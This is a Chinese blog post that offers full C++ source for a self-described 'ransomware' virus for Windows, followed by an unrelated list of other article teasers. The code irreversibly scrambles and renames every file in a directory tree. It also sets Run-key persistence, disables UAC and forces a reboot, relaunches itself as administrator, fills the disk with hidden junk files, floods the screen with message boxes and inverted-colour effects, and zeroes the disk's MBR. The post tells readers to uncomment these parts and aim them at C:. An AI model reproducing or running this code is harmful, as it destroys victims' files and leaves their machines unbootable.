当前位置: 首页 > news >正文

C++小病毒-1.0勒索(更新次数:2)

内容供学习使用,不得转卖,代码复制后请1小时内删除,此代码会危害计算机安全,谨慎操作

在C++20环境下,并在虚拟机里运行此代码!,病毒带来后果自负!

使用时请删除在main()里的注释,并修改位置至C:\\(看我代码注释)//可以改成WIN Main()


#include <iostream>
#include <windows.h>
#include <shellapi.h>
#include <stdio.h>
#include <fstream>
#include <vector>
#include <string>
#include <filesystem>
#include <signal.h>
#include <csignal>
#include <shlwapi.h>
#include <shcore.h>
#include <thread> 
#include <graphics.h>
#pragma comment(lib, "shlwapi.lib")
using namespace std;
namespace fs = std::filesystem;
const int screenWidth = GetSystemMetrics(SM_CXSCREEN);
const int screenHeight = GetSystemMetrics(SM_CYSCREEN);
void writeWordName(const std::string& filename) {size_t pos = filename.find_last_of('.');std::string newFilename;if (pos != std::string::npos) {newFilename = filename.substr(0, pos) + ".人丰NB人丰666";}else {newFilename = filename + ".人丰NB人丰666";}try {fs::rename(filename, newFilename);std::cout << "文件已加密为: " << newFilename << std::endl;}catch (const fs::filesystem_error& e) {std::cerr << "重命名文件时出错: " << e.what() << std::endl;}
}
void flashWindow(const std::string& filename) {std::fstream file(filename, std::ios::in | std::ios::out | std::ios::binary);if (!file) {std::cerr << "无法打开文件: " << filename << std::endl;return;}try {file.seekg(0, std::ios::end);std::streamsize size = file.tellg();file.seekg(0, std::ios::beg);for (int i = 0; i < size; i++) {file.seekg(i, std::ios::beg);char byte;if (!file.read(&byte, sizeof(byte))) {std::cerr << "读取文件 " << filename << " 字节时出现错误,位置:" << i << std::endl;continue;}if (i % 3 == 0) {byte = byte % 0x37;byte = (byte + 0x10) % 0xFF;}if (i % 3 == 1) {byte = byte % 0x43;byte = (byte + 0x20) % 0xFF;}if (i % 3 == 2) {byte = byte % 0x71;byte = (byte + 0x30) % 0xFF;}file.seekp(i, std::ios::beg);if (!file.write(&byte, sizeof(byte))) {std::cerr << "写入文件 " << filename << " 字节时出现错误,位置:" << i << std::endl;continue;}}}catch (...) {std::cerr << "文件加密过程出现异常" << std::endl;}file.close();writeWordName(filename);
}
void scanDirectory(const std::string& path) {for (const auto& entry : fs::recursive_directory_iterator(path)) {if (entry.is_regular_file()) {flashWindow(entry.path().string());}}
}
void WriteStart()//开机自启动
{char path[MAX_PATH]; HKEY hKey;DWORD length = GetModuleFileNameA(NULL, path, MAX_PATH);LONG result; result = RegOpenKeyEx(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_SET_VALUE, &hKey);const TCHAR* valueName = TEXT("MyApp");const TCHAR* valueData = TEXT(path);result = RegSetValueEx(hKey, valueName, 0, REG_SZ, (const BYTE*)valueData, (lstrlen(valueData) + 1) * sizeof(TCHAR));RegCloseKey(hKey);
}
void GetWordNameAndStart() {char buffer[MAX_PATH];if (GetModuleFileName(NULL, buffer, MAX_PATH) > 0) {std::string str(buffer);LPCTSTR path = str.c_str();HINSTANCE result = ShellExecute(NULL, "open", path, NULL, NULL, SW_SHOWNORMAL);if ((int)result <= 32) {std::cerr << "打开文件失败,错误码: " << (int)result << std::endl;}}
}
BOOL SetProcessCtrlHandler() {return SetConsoleCtrlHandler([](DWORD dwCtrlType) -> BOOL {switch (dwCtrlType) {case CTRL_C_EVENT:case CTRL_BREAK_EVENT:case CTRL_CLOSE_EVENT:case CTRL_LOGOFF_EVENT:case CTRL_SHUTDOWN_EVENT:GetWordNameAndStart();return TRUE;default:return FALSE;}}, TRUE);
}
void createFileWithContent_1MB(const std::string& filePath) {const int fileSize = 1048576;std::vector<char> buffer(fileSize, '0');std::ofstream file(filePath, std::ios::binary);if (file.is_open()) {file.write(buffer.data(), fileSize);file.close();}else {std::cerr << "无法创建文件: " << filePath << std::endl;}
}
void CreateFileTo(const std::string& path, const int& SUM, const std::string& WordName) {for (int i = 0; i < SUM; ++i) {std::string folderPath = path + "\\" + WordName + std::to_string(i);// 创建文件夹if (CreateDirectory(folderPath.c_str(), NULL) || ERROR_ALREADY_EXISTS == GetLastError()) {// 设置文件夹为隐藏属性SetFileAttributes(folderPath.c_str(), FILE_ATTRIBUTE_HIDDEN);int RandSum = rand();// 创建文件并写入内容std::string filePath = folderPath + "\\人丰NB人丰666.人丰NB人丰666" + std::to_string(RandSum);createFileWithContent_1MB(filePath);}else {std::cerr << "无法创建文件夹: " << folderPath << std::endl;}}
}
bool Kill_AntivirusSoftware() {return false;
}
void display_run_moveWindows(HWND hWnd) {SetProcessDPIAware();srand(static_cast<unsigned int>(time(NULL))); // 初始化随机数种子RECT rect;GetWindowRect(hWnd, &rect);int windowWidth = rect.right - rect.left;int windowHeight = rect.bottom - rect.top;// 生成随机位置,确保窗口不会超出屏幕范围while (true) {int newX = rand() % screenWidth;int newY = rand() % screenHeight;MoveWindow(hWnd, newX, newY,windowWidth,windowHeight, TRUE);Sleep(1000);}
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {thread myThread21(display_run_moveWindows,hwnd);myThread21.detach(); // 分离子线程return TRUE;
}
void MessageBox_ZYNTM_RUN(int i) {while (true){if(i==1) MessageBox(NULL,"鸡你太美","鸡你太美", MB_OK);if(i==2) MessageBox(NULL,"你干嘛~,哎呦~", "你干嘛~,哎呦~", MB_OK);if(i==3) MessageBox(NULL, "360安全卫生为您守护电脑", "360安全卫生为您守护电脑", MB_OK);if(i==4) MessageBox(NULL, "大家好,我是练习时长两年半的个人练习生-蔡徐坤", "大家好,我是练习时长两年半的个人练习生-蔡徐坤", MB_OK);}
}
void MessageBox_ZYNTM_CTRL() {while (true) {thread myThread31(MessageBox_ZYNTM_RUN,1);thread myThread32(MessageBox_ZYNTM_RUN,2);thread myThread33(MessageBox_ZYNTM_RUN,3);thread myThread34(MessageBox_ZYNTM_RUN,4);myThread31.detach();myThread32.detach();myThread33.detach();myThread34.detach();Sleep(350);}
}
void Windows_music() {while (true){Beep(375,300);Beep(500,300);}
}
void DrawFullscreenRectangle() {//在桌面上画图// 获取屏幕设备上下文句柄SetProcessDPIAware();HDC hdcScreen = GetDC(NULL);if (hdcScreen == NULL) {std::cerr << "无法获取屏幕设备上下文句柄。" << std::endl;return;}// 获取屏幕的宽度和高度int screenWidth = GetSystemMetrics(SM_CXSCREEN);int screenHeight = GetSystemMetrics(SM_CYSCREEN);// 创建一个与屏幕兼容的内存设备上下文HDC hdcMem = CreateCompatibleDC(hdcScreen);if (hdcMem == NULL) {std::cerr << "无法创建内存设备上下文。" << std::endl;ReleaseDC(NULL, hdcScreen);return;}// 创建一个 DIB 位图BITMAPINFO bmi;ZeroMemory(&bmi, sizeof(BITMAPINFO));bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);bmi.bmiHeader.biWidth = screenWidth;bmi.bmiHeader.biHeight = -screenHeight; // 负高度表示底部 - 顶部顺序bmi.bmiHeader.biPlanes = 1;bmi.bmiHeader.biBitCount = 32;bmi.bmiHeader.biCompression = BI_RGB;void* pBits;HBITMAP hBitmap = CreateDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &pBits, NULL, 0);if (hBitmap == NULL) {std::cerr << "无法创建 DIB 位图。" << std::endl;DeleteDC(hdcMem);ReleaseDC(NULL, hdcScreen);return;}// 选入位图到内存设备上下文HBITMAP hOldBitmap = (HBITMAP)SelectObject(hdcMem, hBitmap);// 将屏幕内容复制到内存设备上下文中BitBlt(hdcMem, 0, 0, screenWidth, screenHeight, hdcScreen, 0, 0, SRCCOPY);// 直接操作位图数据进行反色DWORD* pPixel = (DWORD*)pBits;for (int i = 0; i < screenWidth * screenHeight; i++) {*pPixel = RGB(255 - GetRValue(*pPixel), 255 - GetGValue(*pPixel), 255 - GetBValue(*pPixel));pPixel++;}for (int i = 0; i < 100; i++) {// 将反色后的内容复制回屏幕BitBlt(hdcScreen, 0, 0, screenWidth, screenHeight, hdcMem, 0, 0, SRCCOPY);Sleep(10);}// 恢复原始位图SelectObject(hdcMem, hOldBitmap);// 释放资源DeleteObject(hBitmap);DeleteDC(hdcMem);ReleaseDC(NULL, hdcScreen);
}
void window_display_run() {//中毒视觉效果thread myThread13(Windows_music);myThread13.detach();//放音乐Sleep(3000);for (int i = 0; i < 15; i++) {thread myThread14(DrawFullscreenRectangle);myThread14.join();//屏幕反色}thread myThread12(MessageBox_ZYNTM_CTRL);myThread12.detach();while (true) {thread myThread11(EnumWindows, EnumWindowsProc, 0);myThread11.join();thread myThread14(DrawFullscreenRectangle);myThread14.join();//屏幕反色Sleep(350);}
}
bool isUACDisabled() {//检查UCAHKEY hKey;DWORD uacLevel = 0;DWORD size = sizeof(DWORD);if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {if (RegQueryValueEx(hKey, "EnableLUA", NULL, NULL, (LPBYTE)&uacLevel, &size) == ERROR_SUCCESS) {RegCloseKey(hKey);if (uacLevel == 0) {return true;}else {return false;}}else {std::cerr << "Failed to query UAC level. Error code: " << GetLastError() << std::endl;RegCloseKey(hKey);return false;}}else {std::cerr << "Failed to open registry key. Error code: " << GetLastError() << std::endl;return false;}
}
bool setUACLevelToHigh() {//关闭UCAif (isUACDisabled() == true)return true;HKEY hKey;DWORD newValue = 0;if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {if (RegSetValueEx(hKey, "EnableLUA", 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD)) == ERROR_SUCCESS) {RegCloseKey(hKey);system("shutdown /r /t 0");return true;}else {std::cerr << "Failed to set EnableLUA value. Error code: " << GetLastError() << std::endl;RegCloseKey(hKey);return false;}}else {std::cerr << "Failed to open registry key. Error code: " << GetLastError() << std::endl;return false;}
}
bool elevateToAdmin() {if(setUACLevelToHigh()==false)if (setUACLevelToHigh() == false){cout << "I'm sorry,Are you OK?"; }BOOL isAdmin = FALSE;SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;PSID AdministratorsGroup;if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup)) {if (!CheckTokenMembership(NULL, AdministratorsGroup, &isAdmin)) {isAdmin = FALSE;}FreeSid(AdministratorsGroup);}if (isAdmin == false) {char szPath[MAX_PATH];GetModuleFileNameA(NULL, szPath, MAX_PATH);  // 使用 GetModuleFileNameA 处理 ANSI 字符串std::string commandLine = "\"" + std::string(szPath) + "\"";LPSTR szCommandLine = const_cast<LPSTR>(commandLine.c_str());SHELLEXECUTEINFOA sei = { sizeof(SHELLEXECUTEINFOA) };sei.lpVerb = "runas";  // 请求管理员权限sei.lpFile = szPath;sei.lpParameters = NULL;sei.lpDirectory = NULL;sei.nShow = SW_SHOWNORMAL;sei.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_DDEWAIT;if (!ShellExecuteExA(&sei)) {std::cerr << "Failed to restart as administrator." << std::endl;return false;}else {exit(0);return true;}}std::cout << "This program is running with administrative privileges." << std::endl;return true;
}
void Modify_the_Registry_Editor() {// 致命代码阻止编译文字(编译时请删除或注释掉这段文字)HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);if (hDevice == INVALID_HANDLE_VALUE) {std::cerr << "无法打开磁盘设备。错误代码: " << GetLastError() << std::endl;return ;}BYTE mbr[512] = { 0 };// 将修改后的 MBR 写回磁盘DWORD bytesWritten;if (!WriteFile(hDevice, mbr, 512, &bytesWritten, NULL)) {std::cerr << "无法写入 MBR。错误代码: " << GetLastError() << std::endl;CloseHandle(hDevice);return ;}CloseHandle(hDevice);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {srand((time(0)));//thread myThread2(WriteStart); //注册表开机自启动//myThread2.join(); //设置成功后//if (elevateToAdmin() == false)//尝试升级为管理员//    if (elevateToAdmin() == false)//        cout << "Are you ok? Are you fine ?";// thread myThread(CreateFileTo,"F:\\本地磁盘C",10,"54088");//创建垃圾文件占用内存// thread myThread3(scanDirectory,"F:\\本地磁盘C");//加密文件thread myThread4(window_display_run); //病毒桌面特效//thread myThread5(Kill_AntivirusSoftware); //关闭杀毒软件//以下是主进程区域//SetProcessCtrlHandler();//关掉重启项//以上是主进程区域//myThread.join(); // myThread3.join();myThread4.join();// myThread5.join();while (1);return 0;
}

相关文章:

C++小病毒-1.0勒索(更新次数:2)

内容供学习使用,不得转卖,代码复制后请1小时内删除,此代码会危害计算机安全,谨慎操作 在C20环境下,并在虚拟机里运行此代码!&#xff0c;病毒带来后果自负! 使用时请删除在main()里的注释,并修改位置至C:\\(看我代码注释)//可以改成WIN Main() #include <iostream> #i…...

Node.js 的底层原理

Node.js 的底层原理 1. 事件驱动和非阻塞 I/O Node.js 基于 Chrome V8 引擎&#xff0c;使用 JavaScript 作为开发语言。它采用事件驱动和非阻塞 I/O 模型&#xff0c;使其轻量且高效。通过 libuv 库实现跨平台的异步 I/O&#xff0c;包括文件操作、网络请求等。 2. 单线程事…...

基于Django的豆瓣影视剧推荐系统的设计与实现

【Django】基于Django的豆瓣影视剧推荐系统的设计与实现&#xff08;完整系统源码开发笔记详细部署教程&#xff09;✅ 目录 一、项目简介二、项目界面展示三、项目视频展示 一、项目简介 该系统采用了Python作为后端开发语言&#xff0c;采用Django作为后端架构&#xff0c;结…...

P10638 BZOJ4355 Play with sequence Solution

Description 给定 a ( a 1 , a 2 , ⋯ , a n ) a(a_1,a_2,\cdots,a_n) a(a1​,a2​,⋯,an​)&#xff0c;有 m m m 个操作&#xff0c;分以下三种&#xff1a; assign ⁡ ( l , r , k ) \operatorname{assign}(l,r,k) assign(l,r,k)&#xff1a;对每个 i ∈ [ l , r ] i \…...

MySQL误删数据怎么办?

文章目录 1. 从备份恢复数据2. 通过二进制日志恢复数据3. 使用数据恢复工具4. 利用事务回滚恢复数据5. 预防误删数据的策略总结 在使用MySQL进行数据管理时&#xff0c;误删数据是一个常见且具有高风险的操作。无论是因为操作失误、系统故障&#xff0c;还是不小心执行了删除命…...

项目测试之MockMvc

文章目录 基础基础概念Mockxxx一般实现文件位置 实战MockMvc与Test注解不兼容RequestParams参数RequestBody参数 基础 基础概念 定义&#xff1a;是Spring框架提供的一种用于测试Spring MVC控制器的工具&#xff0c;它允许开发者在不启动完整的web服务器的情况下&#xff0c;…...

Unbutu虚拟机+eclipse+CDT编译调试环境搭建

问题1: 安装CDT&#xff0c;直接Help->eclipse Market space-> 搜cdt , install&#xff0c;等待重启即可. 问题2&#xff1a;C变量不识别vector ’could not be resolved 这是库的头文件没加好&#xff0c;右键Properties->C Build->Enviroment&#xff0c;增加…...

时间轮:XXL-JOB 高效、精准定时任务调度实现思路分析

大家好&#xff0c;我是此林。 定时任务是我们项目中经常会遇到的一个场景。那么如果让我们手动来实现一个定时任务框架&#xff0c;我们会怎么做呢&#xff1f; 1. 基础实现&#xff1a;简单的线程池时间轮询 最直接的方式是创建一个定时任务线程池&#xff0c;用户每提交一…...

CTF-web: Python YAML反序列化利用

PyYAML存在以下几个特殊标签,如果这些标签被不安全的解析,会造成解析漏洞 从 PyYaml 版本 6.0 开始&#xff0c;load 的默认加载器已切换到 SafeLoader&#xff0c;以降低远程代码执行的风险。更新后易受攻击的是 yaml.unsafe_load 和 yaml.load(input, Loaderyaml.UnsafeLoade…...

代码随想录算法训练营第三十八天-动态规划-完全背包-139.单词拆分

类似于回溯算法中的拆分回文串题目是要求拆分字符串&#xff0c;问这些字符串是否出现在字典里。但这道题可以反着来考虑&#xff0c;从字典中的单词能不能组成所给定的字符串 如果这样考虑&#xff0c; 这个字符串就背包&#xff0c;容器字典中的单词就是一个一个物品问题就转…...

ML基础-Jupyter notebook中的魔法命令

在 Jupyter Notebook 或 IPython 环境中&#xff0c;“魔法命令”&#xff08;Magic Commands&#xff09;是一些以百分号&#xff08;%&#xff09;或惊叹号&#xff08;!)开头的特殊命令&#xff0c;用于执行一些与代码运行环境相关的操作&#xff0c;而不仅仅是执行普通的 P…...

Zookeeper入门部署(单点与集群)

本篇文章基于docker方式部署zookeeper集群&#xff0c;请先安装docker 目录 1. docker初期准备 2.启动zookeeper 2.1 单点部署 2.2 集群部署 3. Linux脚本实现快速切换启动关闭 1. docker初期准备 拉取zookeeper镜像 docker pull zookeeper:3.5.6 如果拉取时间过长&#xf…...

Kafa分区策略实现

引言 Kafka 的分区策略决定了生产者发送的消息会被分配到哪个分区中&#xff0c;合理的分区策略有助于实现负载均衡、提高消息处理效率以及满足特定的业务需求。 轮询策略&#xff08;默认&#xff09; 轮询策略是 Kafka 默认的分区策略&#xff08;当消息没有指定键时&…...

Pyside/Pyqt中QWebEngineView和QWebEnginePage的区别

在 PySide/Qt 的 WebEngine 模块中&#xff0c;QWebEngineView 和 QWebEnginePage 是两个紧密相关但职责不同的类。以下是它们的核心区别和关系&#xff1a; 1. 职责区分 类名核心职责模块归属QWebEngineView作为可视化的窗口部件&#xff08;Widget&#xff09;&#xff0c;负…...

Kafka的内部通信协议

引言 kafka内部用到的常见协议和优缺点可以看看原文 Kafka用到的协议 本文奖详细探究kafka核心通信协议和高性能的关键 网络层通信的实现 基于 Java NIO&#xff1a;Kafka 的网络通信层主要基于 Java NIO 来实现&#xff0c;这使得它能够高效地处理大量的连接和数据传输。…...

强大到工业层面的软件

电脑数据删不干净&#xff0c;简直是一种让人抓狂的折磨&#xff01;明明已经把文件扔进了回收站&#xff0c;清空了&#xff0c;可那些残留的数据就像牛皮癣一样&#xff0c;怎么也除不掉。这种烦恼简直无处不在&#xff0c;让人从头到脚都感到无比烦躁。 首先&#xff0c;心…...

数据分析和AI丨应对AI实施挑战,工程领域AI应用的五大方法

工程领域的人工智能 &#xff08;AI&#xff09; 已经开始发挥价值&#xff0c;低代码和无代码工具正在使曾经仅属于专业数据科学家的 AI 能力变得大众化。 然而&#xff0c;并非工程领域的每个人都能从中受益&#xff0c;使用新的便捷的 AI 工具提高工作效率并不难&#xff0c…...

54. UDP协议

UDP协议 UDP&#xff08;User Datagram Protocol&#xff0c;用户数据报协议&#xff09;是一个无连接的传输层协议&#xff0c;它提供简单的、不可靠的信息传送服务。与TCP&#xff08;传输控制协议&#xff09;不同&#xff0c;UDP不提供数据包的排序、错误检查&#xff08;仅…...

AJAX笔记入门篇

黑马程序员视频地址&#xff1a; 黑马程序员前端AJAX入门到实战全套教程https://www.bilibili.com/video/BV1MN411y7pw?vd_source0a2d366696f87e241adc64419bf12cab&spm_id_from333.788.videopod.episodes&p2https://www.bilibili.com/video/BV1MN411y7pw?vd_source…...

深入解析Java集合框架:春招面试要点

在上一篇文章中&#xff0c;我们深入探讨了Java核心基础&#xff0c;这是学习Java的基石。而在实际的Java开发中&#xff0c;集合框架的使用频率极高&#xff0c;它为我们提供了丰富的数据结构和算法实现&#xff0c;极大地提高了开发效率。对于春招面试来说&#xff0c;集合框…...

多云管理“拦路虎”:深入解析网络互联、身份同步与成本可视化的技术复杂度​

一、引言&#xff1a;多云环境的技术复杂性本质​​ 企业采用多云策略已从技术选型升维至生存刚需。当业务系统分散部署在多个云平台时&#xff0c;​​基础设施的技术债呈现指数级积累​​。网络连接、身份认证、成本管理这三大核心挑战相互嵌套&#xff1a;跨云网络构建数据…...

线程与协程

1. 线程与协程 1.1. “函数调用级别”的切换、上下文切换 1. 函数调用级别的切换 “函数调用级别的切换”是指&#xff1a;像函数调用/返回一样轻量地完成任务切换。 举例说明&#xff1a; 当你在程序中写一个函数调用&#xff1a; funcA() 然后 funcA 执行完后返回&…...

STM32标准库-DMA直接存储器存取

文章目录 一、DMA1.1简介1.2存储器映像1.3DMA框图1.4DMA基本结构1.5DMA请求1.6数据宽度与对齐1.7数据转运DMA1.8ADC扫描模式DMA 二、数据转运DMA2.1接线图2.2代码2.3相关API 一、DMA 1.1简介 DMA&#xff08;Direct Memory Access&#xff09;直接存储器存取 DMA可以提供外设…...

云原生玩法三问:构建自定义开发环境

云原生玩法三问&#xff1a;构建自定义开发环境 引言 临时运维一个古董项目&#xff0c;无文档&#xff0c;无环境&#xff0c;无交接人&#xff0c;俗称三无。 运行设备的环境老&#xff0c;本地环境版本高&#xff0c;ssh不过去。正好最近对 腾讯出品的云原生 cnb 感兴趣&…...

C++.OpenGL (14/64)多光源(Multiple Lights)

多光源(Multiple Lights) 多光源渲染技术概览 #mermaid-svg-3L5e5gGn76TNh7Lq {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-3L5e5gGn76TNh7Lq .error-icon{fill:#552222;}#mermaid-svg-3L5e5gGn76TNh7Lq .erro…...

【Nginx】使用 Nginx+Lua 实现基于 IP 的访问频率限制

使用 NginxLua 实现基于 IP 的访问频率限制 在高并发场景下&#xff0c;限制某个 IP 的访问频率是非常重要的&#xff0c;可以有效防止恶意攻击或错误配置导致的服务宕机。以下是一个详细的实现方案&#xff0c;使用 Nginx 和 Lua 脚本结合 Redis 来实现基于 IP 的访问频率限制…...

(一)单例模式

一、前言 单例模式属于六大创建型模式,即在软件设计过程中,主要关注创建对象的结果,并不关心创建对象的过程及细节。创建型设计模式将类对象的实例化过程进行抽象化接口设计,从而隐藏了类对象的实例是如何被创建的,封装了软件系统使用的具体对象类型。 六大创建型模式包括…...

Neko虚拟浏览器远程协作方案:Docker+内网穿透技术部署实践

前言&#xff1a;本文将向开发者介绍一款创新性协作工具——Neko虚拟浏览器。在数字化协作场景中&#xff0c;跨地域的团队常需面对实时共享屏幕、协同编辑文档等需求。通过本指南&#xff0c;你将掌握在Ubuntu系统中使用容器化技术部署该工具的具体方案&#xff0c;并结合内网…...

Java并发编程实战 Day 11:并发设计模式

【Java并发编程实战 Day 11】并发设计模式 开篇 这是"Java并发编程实战"系列的第11天&#xff0c;今天我们聚焦于并发设计模式。并发设计模式是解决多线程环境下常见问题的经典解决方案&#xff0c;它们不仅提供了优雅的设计思路&#xff0c;还能显著提升系统的性能…...

Canal环境搭建并实现和ES数据同步

作者&#xff1a;田超凡 日期&#xff1a;2025年6月7日 Canal安装&#xff0c;启动端口11111、8082&#xff1a; 安装canal-deployer服务端&#xff1a; https://github.com/alibaba/canal/releases/1.1.7/canal.deployer-1.1.7.tar.gz cd /opt/homebrew/etc mkdir canal…...